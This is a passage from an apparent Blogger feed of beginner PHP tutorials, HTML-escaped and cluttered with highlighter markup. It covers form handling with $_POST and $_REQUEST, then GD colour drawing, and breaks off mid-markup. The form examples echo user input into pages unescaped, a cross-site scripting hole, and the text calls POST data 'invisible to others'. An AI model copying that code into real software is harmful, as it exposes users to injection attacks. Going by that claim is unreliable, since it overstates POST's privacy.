id=&quot;37a6261e-fc1e-4911-a824-679bf3fdea9f&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;fname&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7a0ec183-5323-43ec-bcdb-f78b48f912ea&quot; id=&quot;f9ead474-3a81-4a18-9564-64e7a0caafbc&quot;&gt;br&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0fb8-2&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;You&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;are&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c6b7e56d-57fa-473b-93cb-49834bfd6cf4&quot; id=&quot;a327fe76-bdc3-4b33-8be5-00e6e2c907e7&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c6b7e56d-57fa-473b-93cb-49834bfd6cf4&quot; id=&quot;6bcc8615-460d-4af6-8882-2852ca99f514&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;age&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;559bd6cb-c721-4367-be0d-addf550df1f3&quot; id=&quot;50612c3b-3a36-4e4f-9961-a07f59066850&quot;&gt;years&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;
When to use method=”post”?&lt;/h3&gt;
Information sent from a form with the POST method is invisible to others and has no limits on the amount of information to send.&lt;br /&gt;

However, because the variables are not displayed in the URL, it is not possible to bookmark the page.&lt;br /&gt;

&lt;h3&gt;
The PHP $_REQUEST Function&lt;/h3&gt;
The PHP built-in $_REQUEST function contains the contents of both $_GET, $_POST, and $_COOKIE.&lt;br /&gt;

The $_REQUEST function can be used to collect form data sent &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9cc06d95-e9ea-4a09-acdf-b8d2ffdd9e48&quot; id=&quot;fbed526c-1553-4196-8ec6-ba341ea52c1e&quot;&gt;with&lt;/span&gt; both the GET and POST methods.&lt;br /&gt;

&lt;h5&gt;
Example&lt;/h5&gt;
&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0627ed0fff&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
  
   
   
   &lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;Welcome &lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f1ac8b7a-080d-4ec0-b776-385dd882a2ef&quot; id=&quot;f03cce75-ce9d-481c-a4dd-029f8ce4145f&quot;&gt;php&lt;/span&gt; echo $_REQUEST&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f1ac8b7a-080d-4ec0-b776-385dd882a2ef&quot; id=&quot;103c002d-8f19-4332-838b-81812e5f3e85&quot;&gt;[&lt;/span&gt;&quot;fname&quot;]; ?&gt;!&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;20389763-e424-4d6e-b69f-89d72dca1a07&quot; id=&quot;0ba919ef-d144-46a3-a623-014a6da29114&quot;&gt;br&lt;/span&gt; /&gt;
You are &lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9884b50d-cc70-437a-b811-f41021e96bf0&quot; id=&quot;48fc4c66-8975-48e2-9544-a19c7c35aff2&quot;&gt;php&lt;/span&gt; echo $_REQUEST&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9884b50d-cc70-437a-b811-f41021e96bf0&quot; id=&quot;14924c59-e6b4-41db-8b9b-1e0dfff5279b&quot;&gt;[&lt;/span&gt;&quot;age&quot;]; ?&gt; &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5694edaf-e55c-4f45-be22-5af8dc7440ab&quot; id=&quot;1d9f2990-84fd-4028-85fe-3bd1b7a450a6&quot;&gt;years&lt;/span&gt; old.&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
    &lt;table class=&quot;crayon-table&quot;&gt;
     &lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
    &lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
     &lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0fff-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0fff-2&quot;&gt;
2&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
      &lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0627ed0fff-1&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;Welcome&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9f172f0d-d402-4a6b-ad1f-d21518950a69&quot; id=&quot;c99152bd-be67-4181-a2e8-15c8c1aae73b&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9f172f0d-d402-4a6b-ad1f-d21518950a69&quot; id=&quot;2855535c-76f0-4f09-8b28-bb198fc614db&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;fname&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;23d1b7ee-c97c-4b12-8719-0a73d0113e44&quot; id=&quot;de0144ba-098f-4e7a-bcfd-2ca4e506cc99&quot;&gt;br&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0627ed0fff-2&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;You&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;are&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e613538c-3505-4d2f-a593-829b67127889&quot; id=&quot;99e7d418-4580-4c20-b9e3-620293277471&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e613538c-3505-4d2f-a593-829b67127889&quot; id=&quot;c4df9747-0ef9-4646-a6ba-861eaa9c29dd&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;age&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;bd73fd8f-c710-4d3a-a6d6-8a385152a6fd&quot; id=&quot;726e288a-c6eb-429d-b49d-19b2f7efacab&quot;&gt;years&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr /&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/142230846707707628/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/06/php-form-handling-for-beginners.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/142230846707707628'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/142230846707707628'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/06/php-form-handling-for-beginners.html' title='PHP form handling for beginners'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-5976120728917403569</id><published>2013-06-30T22:22:00.000+05:30</published><updated>2013-06-30T22:22:01.758+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP Tips"/><title type='text'>Color Handling using PHP -- Paint colors</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h2&gt;
&lt;span class=&quot;GingerNoCheckStart&quot;&gt;&lt;/span&gt;Paint Colors&lt;/h2&gt;
You can actually paint colors with &lt;a href=&quot;http://photo.net/digital-darkroom-forum/00Vaq0&quot; target=&quot;_blank&quot; title=&quot;color handling&quot;&gt;color handling&lt;/a&gt; methods.&lt;br /&gt;

&lt;h3&gt;
Color Handling&lt;/h3&gt;
For images with an 8-bit indexed palette it can be tricky to manage &lt;strong&gt;colors&lt;/strong&gt; (paint colors).&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0613213dc8&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;73d476fe-4a0e-453a-9453-5b8a81b52d0f&quot; id=&quot;41fa9c05-1f43-4d12-be59-12bcb855a656&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;73d476fe-4a0e-453a-9453-5b8a81b52d0f&quot; id=&quot;f2adab4a-515e-463e-b598-dd641d86f1c0&quot;&gt;php&lt;/span&gt;
$im = ImageCreate&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e1078312-c0c9-42b7-be21-f769b0c3a056&quot; id=&quot;7485e7fb-c1cf-4f83-9101-7a9461e9a64a&quot;&gt;(&lt;/span&gt;300,256);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1b5d5a56-1d35-4380-b3a3-540182b569ad&quot; id=&quot;7d435e01-244c-487c-a4e3-295912b347f8&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1b5d5a56-1d35-4380-b3a3-540182b569ad&quot; id=&quot;50bbf051-19db-48ce-b5d2-715f07d3d480&quot;&gt;(&lt;/span&gt;$r=0; $r&lt;256; $r++) {
$col = ImageColorAllocate&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;73e485b7-22d3-4988-9f7f-e08d314a2a56&quot; id=&quot;aeb54f47-da5e-4708-8392-c220a21871f6&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;73e485b7-22d3-4988-9f7f-e08d314a2a56&quot; id=&quot;05fae40d-d4c0-4882-a0a6-ab55c6ee6782&quot;&gt;,&lt;/span&gt;$r&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;73e485b7-22d3-4988-9f7f-e08d314a2a56&quot; id=&quot;2ef57ac0-c86d-4c8c-9d46-5bec70472b0f&quot;&gt;,&lt;/span&gt;0,0);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7aad8d63-af75-4316-b0c0-ad70ae0fc4d1&quot; id=&quot;317988ea-dfc1-4828-9411-86db5ea47807&quot;&gt;ImageLine&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7aad8d63-af75-4316-b0c0-ad70ae0fc4d1&quot; id=&quot;4f883ec4-8009-4de2-b080-2ea41c5935e4&quot;&gt;(&lt;/span&gt;$im, 0&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7aad8d63-af75-4316-b0c0-ad70ae0fc4d1&quot; id=&quot;d96de3fa-73cf-4956-93d0-5593da66cffa&quot;&gt;,&lt;/span&gt;$r, 100, $r, $col);
}
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fad2a578-c23f-4cf2-9863-11f25a05cd83&quot; id=&quot;8b85f6ff-9ef6-4a02-b979-930b26502065&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fad2a578-c23f-4cf2-9863-11f25a05cd83&quot; id=&quot;b2206261-e3d9-4354-a452-57867d85ce01&quot;&gt;(&lt;/span&gt;$g=0; $g&lt;256; $g++) {
$col = ImageColorAllocate&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b89bbf8f-d98e-4062-ac6b-a706a68a105d&quot; id=&quot;5e9b5edb-c85e-4432-90c9-271113176e28&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b89bbf8f-d98e-4062-ac6b-a706a68a105d&quot; id=&quot;cf1577f7-1783-42bf-80ec-816b3e1e6ddd&quot;&gt;,&lt;/span&gt;0&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b89bbf8f-d98e-4062-ac6b-a706a68a105d&quot; id=&quot;9884a53d-238c-4ae7-8038-54588ffecde3&quot;&gt;,&lt;/span&gt;$g&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b89bbf8f-d98e-4062-ac6b-a706a68a105d&quot; id=&quot;e101f76f-e314-4316-9fe9-0463e9537555&quot;&gt;,&lt;/span&gt;0);
ImageLine($im, 100,255-$g, 200, 255-$g, $col);
}
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ad3e949e-8b37-41ab-b23b-7b441ef1301d&quot; id=&quot;38d9c0f1-b02e-4d22-ab74-a4d3e784a38a&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ad3e949e-8b37-41ab-b23b-7b441ef1301d&quot; id=&quot;7a2014b2-1b53-45f0-8cc0-6e04b510f6b4&quot;&gt;(&lt;/span&gt;$b=0; $b&lt;256; $b++) {
$col = ImageColorAllocate&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a24c1bd1-0098-4fe3-ac4d-928fa039b2b8&quot; id=&quot;5acc7955-b930-481f-a472-9bbe81e65447&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a24c1bd1-0098-4fe3-ac4d-928fa039b2b8&quot; id=&quot;ce7acb70-7076-4771-b8d3-02462a11c9f0&quot;&gt;,&lt;/span&gt;0,0&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a24c1bd1-0098-4fe3-ac4d-928fa039b2b8&quot; id=&quot;f3f77644-7aeb-46ce-9c25-26dd85cafb82&quot;&gt;,&lt;/span&gt;$b);
ImageLine($im, 200,$b, 300, $b, $col);
}
Header&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a636b44f-fbcf-4712-be40-ea64492ee591&quot; id=&quot;9ba44703-5d9a-416f-a963-47062302571e&quot;&gt;(&lt;/span&gt;&#39;Content-Type: image/png&#39;);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e432cb5e-73a1-4d3f-9a7e-d054674eab7f&quot; id=&quot;1b26dbe3-a11a-42ff-ab19-71e945652eb3&quot;&gt;ImagePNG&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e432cb5e-73a1-4d3f-9a7e-d054674eab7f&quot; id=&quot;7d896235-d6cc-4e77-a318-8812eb2fb5c3&quot;&gt;(&lt;/span&gt;$im);
?&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213dc8-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213dc8-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213dc8-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213dc8-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213dc8-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213dc8-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213dc8-7&quot;&gt;
7&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213dc8-8&quot;&gt;
8&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213dc8-9&quot;&gt;
9&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213dc8-10&quot;&gt;
10&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213dc8-11&quot;&gt;
11&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213dc8-12&quot;&gt;
12&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213dc8-13&quot;&gt;
13&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213dc8-14&quot;&gt;
14&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213dc8-15&quot;&gt;
15&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213dc8-16&quot;&gt;
16&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213dc8-17&quot;&gt;
17&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213dc8-1&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;aabe44f9-9f30-429e-b683-e51f3683f50b&quot; id=&quot;2bf1f821-611f-482a-914b-4739308d6fa9&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;aabe44f9-9f30-429e-b683-e51f3683f50b&quot; id=&quot;703e2031-f683-4d0a-85d8-7d3531c54354&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213dc8-2&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageCreate&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6e868bfe-6295-4fe0-83e9-c9e5e55004d0&quot; id=&quot;536ab686-619f-433b-bb38-9529a827771c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213dc8-3&quot;&gt;
&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ffb27275-444c-4e40-824c-e95e3e39dc06&quot; id=&quot;cf01cfd6-3607-492b-b220-cf5742cc0881&quot;&gt;for&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ffb27275-444c-4e40-824c-e95e3e39dc06&quot; id=&quot;7443b636-1658-46d2-98b1-06fc6a997413&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213dc8-4&quot;&gt;
